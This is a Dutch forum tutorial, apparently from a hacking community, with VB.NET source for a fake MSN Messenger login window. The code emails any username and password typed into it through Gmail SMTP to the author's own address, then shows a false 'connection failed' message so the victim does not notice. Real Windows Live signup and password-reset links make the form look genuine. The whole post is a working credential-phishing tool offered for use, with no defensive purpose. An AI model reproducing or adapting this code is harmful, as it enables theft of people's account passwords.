Hey,
ik heb een TuT gemaakt over hoe je een msn fake login moet maken.
adhv (aan de hand van) deze screens zou het redelijk makkelijk moeten zijn.
Ik wou eigenlijk DED zijn idee er al in invoegen maar dat topic vind ik niet meer.
(topic gaat over mails die sneller verzenden)
dus:
codes:
imports system.net.mail
Public Class Form1
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start(\"https://signup.live.com/signup.aspx?ru=http://home.live.com&id=507&rollrs=12&lic=1\")
End Sub
Private Sub LinkLabel2_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel2.LinkClicked
Process.Start(\"https://account.live.com/ResetPassword.aspx?mkt=NL-NL\")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = \"\" Then
MsgBox(\"Username Is Missing\")
If TextBox2.Text = \"\" Then
MsgBox(\"Password Is Mising\")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential(\"YOur gmail\", \"You gmail password\")
smtpServer.Port = 587
smtpServer.Host = \"smtp.gmail.com\"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(\"Your Gmail\")
mail.To.Add(\"Your Gmail\")
mail.Subject = \"Username: \" & TextBox1.Text
mail.Body = \"Username : \" & TextBox1.Text & \", \" & \"Password : \" & TextBox2.Text
smtpServer.Send(mail)
MsgBox(\"Failed to log on, please check your internet connection\", MsgBoxStyle.Critical, \"Aanmelden bij messenger\")
End Sub
End Class
